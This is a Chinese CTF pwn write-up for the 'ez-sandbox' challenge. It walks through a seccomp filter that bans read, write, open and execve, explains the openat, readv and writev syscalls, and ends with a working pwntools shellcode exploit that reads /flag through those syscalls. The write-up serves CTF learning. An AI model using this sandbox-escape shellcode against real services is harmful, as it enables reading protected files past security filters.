CTF-PWN: 在ORW受限情况手写code [第二届CN-fnst::CTF ez-sandbox] 赛后学习笔记
step1 先看代码
int __fastcall main(int argc, const char **argv, const char **envp)
{
void *buf; // [rsp+0h] [rbp-10h]
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
buf = mmap(0LL, 0x100uLL, 7, 34, -1, 0LL);
if ( buf == (void *)-1LL )
{
perror("mmap failed");
exit(1);
}
puts("input shellcode: ");
read(0, buf, 0xC8uLL);
setup_seccomp();
((void (*)(void))buf)();
if ( munmap(buf, 0x100uLL) == -1 )
perror("munmap failed");
return 0;
}
再看保护
~/Desktop/pwn/file/file at 02:43:43
❯ seccomp-tools dump ./pwn
input shellcode:
sss
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x05 0xffffffff if (A != 0xffffffff) goto 0010
0005: 0x15 0x04 0x00 0x00000000 if (A == read) goto 0010
0006: 0x15 0x03 0x00 0x00000001 if (A == write) goto 0010
0007: 0x15 0x02 0x00 0x00000002 if (A == open) goto 0010
0008: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x06 0x00 0x00 0x00000000 return KILL
ORW全禁
利用
O
openat
是一个在 C 语言中用于打开文件的系统调用,它是 POSIX 标准的一部分。openat
提供了一种相对路径的方式来打开文件,尤其是在处理目录文件描述符时非常有用。这使得在多线程或多进程环境中可以避免一些常见的安全问题,比如路径遍历攻击。
函数原型
#include <fcntl.h>
int openat(int dirfd, const char *pathname, int flags, ...);
参数说明
-
dirfd
: 这是一个文件描述符,代表一个打开的目录。如果pathname
是一个相对路径,openat
将在dirfd
指向的目录中查找该路径。如果pathname
是绝对路径,则dirfd
将被忽略。 -
pathname
: 这是要打开的文件的路径,可以是相对路径或绝对路径。 -
flags
: 用于指定打开文件的方式,比如读、写、创建等。常用的标志包括:O_RDONLY
: 只读打开。O_WRONLY
: 只写打开。O_RDWR
: 读写打开。O_CREAT
: 如果文件不存在则创建它。O_EXCL
: 与O_CREAT
一起使用,确保文件是新创建的。O_TRUNC
: 如果文件已存在并且是以写入模式打开,则将其截断为零长度。
-
...
: 可选参数,用于指定文件的权限,仅在使用O_CREAT
标志时需要提供,通常是一个mode_t
类型的值,用于设置新创建文件的权限。
返回值
- 成功时,返回新打开文件的文件描述符(非负整数)。
- 失败时,返回 -1,并设置
errno
以指示错误原因。
R
readv
是一个用于从文件描述符中读取数据的系统调用,属于 POSIX 标准。它允许一次读取多个缓冲区的内容,提供了一种高效的方式来处理 I/O 操作,特别是在需要从文件中读取分散的数据时。
函数原型
#include <sys/uio.h>
#include <unistd.h>
ssize_t readv(int fd, const struct iovec *iov, int iovcnt);
参数说明
-
fd
: 要读取的文件描述符。这个文件描述符可以是一个常规文件、socket、管道等。 -
iov
: 指向iovec
结构体数组的指针。iovec
结构体定义了一个缓冲区,其中包含要读取数据的地址和大小。 -
iovcnt
: 表示iovec
数组中的元素数量,也就是有多少个缓冲区。
iovec
结构体
iovec
结构体通常定义如下:
struct iovec {
void *iov_base; // 指向缓冲区的指针
size_t iov_len; // 缓冲区的大小
};
每个 iovec
结构体描述一个缓冲区,iov_base
指向缓冲区的起始地址,iov_len
是缓冲区的大小。
返回值
- 成功时,返回实际读取的字节数(可能小于请求的总字节数),如果返回 0,则表示已到达文件末尾(EOF)。
- 失败时,返回 -1,并设置
errno
以指示错误原因。
使用示例
下面是一个使用 readv
的简单示例,演示如何从文件中读取数据到多个缓冲区:
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/uio.h>
int main() {
int fd = open("example.txt", O_RDONLY);
if (fd < 0) {
perror("open");
return 1;
}
// 定义两个缓冲区
char buf1[20];
char buf2[30];
// 定义 iovec 结构体数组
struct iovec iov[2];
iov[0].iov_base = buf1;
iov[0].iov_len = sizeof(buf1);
iov[1].iov_base = buf2;
iov[1].iov_len = sizeof(buf2);
// 使用 readv 读取数据
ssize_t nread = readv(fd, iov, 2);
if (nread < 0) {
perror("readv");
close(fd);
return 1;
}
printf("Read %zd bytes:\n", nread);
printf("Buffer 1: %.*s\n", (int)iov[0].iov_len, (char *)iov[0].iov_base);
printf("Buffer 2: %.*s\n", (int)iov[1].iov_len, (char *)iov[1].iov_base);
close(fd);
return 0;
}
应用场景
- 高效 I/O: 使用
readv
可以减少系统调用的次数,特别在需要从同一个文件描述符读取多个缓冲区时,可以一次性完成,而不需要多次调用read
。 - 网络编程: 在网络编程中,发送和接收数据时常常需要处理多个缓冲区,
readv
和其对应的writev
可以提高效率。 - 数据聚集: 当需要从不同的源读取数据并将其聚集到多个缓冲区时,
readv
提供了方便的接口。
W
writev
是一个用于将数据写入文件描述符的系统调用,属于 POSIX 标准。与 readv
类似,writev
允许一次将多个缓冲区的数据写入到同一个文件描述符中,这种方法在需要高效处理多个数据块时非常有用。
函数原型
#include <sys/uio.h>
#include <unistd.h>
ssize_t writev(int fd, const struct iovec *iov, int iovcnt);
参数说明
-
fd
: 要写入的文件描述符。这个文件描述符可以是文件、socket、管道等。 -
iov
: 指向iovec
结构体数组的指针。每个iovec
结构体描述一个缓冲区,其中包含要写入数据的地址和大小。 -
iovcnt
: 表示iovec
数组中的元素数量,也就是有多少个缓冲区。
iovec
结构体
iovec
结构体通常定义如下:
struct iovec {
void *iov_base; // 指向缓冲区的指针
size_t iov_len; // 缓冲区的大小
};
每个 iovec
结构体包括一个指向缓冲区的指针和该缓冲区的字节长度。
返回值
- 成功时,返回实际写入的字节数(可能小于请求的总字节数)。
- 失败时,返回 -1,并设置
errno
以指示错误原因。
使用示例
下面是一个使用 writev
的简单示例,演示如何将数据从多个缓冲区写入文件:
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/uio.h>
int main() {
int fd = open("output.txt", O_WRONLY | O_CREAT | O_TRUNC, 0644);
if (fd < 0) {
perror("open");
return 1;
}
// 定义两个缓冲区
const char *buf1 = "Hello, ";
const char *buf2 = "world!\n";
// 定义 iovec 结构体数组
struct iovec iov[2];
iov[0].iov_base = (void *)buf1;
iov[0].iov_len = strlen(buf1);
iov[1].iov_base = (void *)buf2;
iov[1].iov_len = strlen(buf2);
// 使用 writev 写入数据
ssize_t nwritten = writev(fd, iov, 2);
if (nwritten < 0) {
perror("writev");
close(fd);
return 1;
}
printf("Wrote %zd bytes to the file.\n", nwritten);
close(fd);
return 0;
}
应用场景
- 高效 I/O: 使用
writev
可以减少系统调用的次数,特别是在需要将多个缓冲区的数据写入同一个文件描述符时,可以一次性完成,而不需要多次调用write
。 - 网络编程: 在网络编程中,发送和接收数据时常常需要处理多个缓冲区,
writev
和其对应的readv
可以提高效率。 - 日志和数据聚集: 将多个日志消息或数据块聚集到一个写操作中,可以减少上下文切换和系统调用开销。
step 4
from pwn import *
from libs import *
io = FastPwn('amd64')
io.gdb_b(0xb96)
io.gdb_run('./file/pwn')
# o
shellcode = shellcraft.pushstr('/flag')
# fd = openat(-100, '/flag', 0, 0)
shellcode += """
mov rdi, -100
mov rsi, rsp
mov rdx, 0
mov r10, 0
mov r8, 0
mov rax, 0x101
syscall
"""
# R
# 先伪装结构体
# readv(fd, fake_iovec, 1)
"""
struct iovec {
void *iov_base; // 指向缓冲区的指针
size_t iov_len; // 缓冲区的大小
};
"""
shellcode += """
mov r9, rsp
add r9, 100
mov qword ptr [rsp], r9
mov qword ptr [rsp+8], 100
"""
shellcode += """
mov rdi, rax
mov rsi, rsp
mov rdx, 1
mov rax, 19
syscall
"""
# W
# si依然指向fd,仅需更改输出寄存器为标准输出
# writev(fd, fake_iovec, 1)
shellcode += """
mov edi, 1
mov rax, 20
syscall
"""
shellcode = asm(shellcode)
io.sl(shellcode)
io.ia()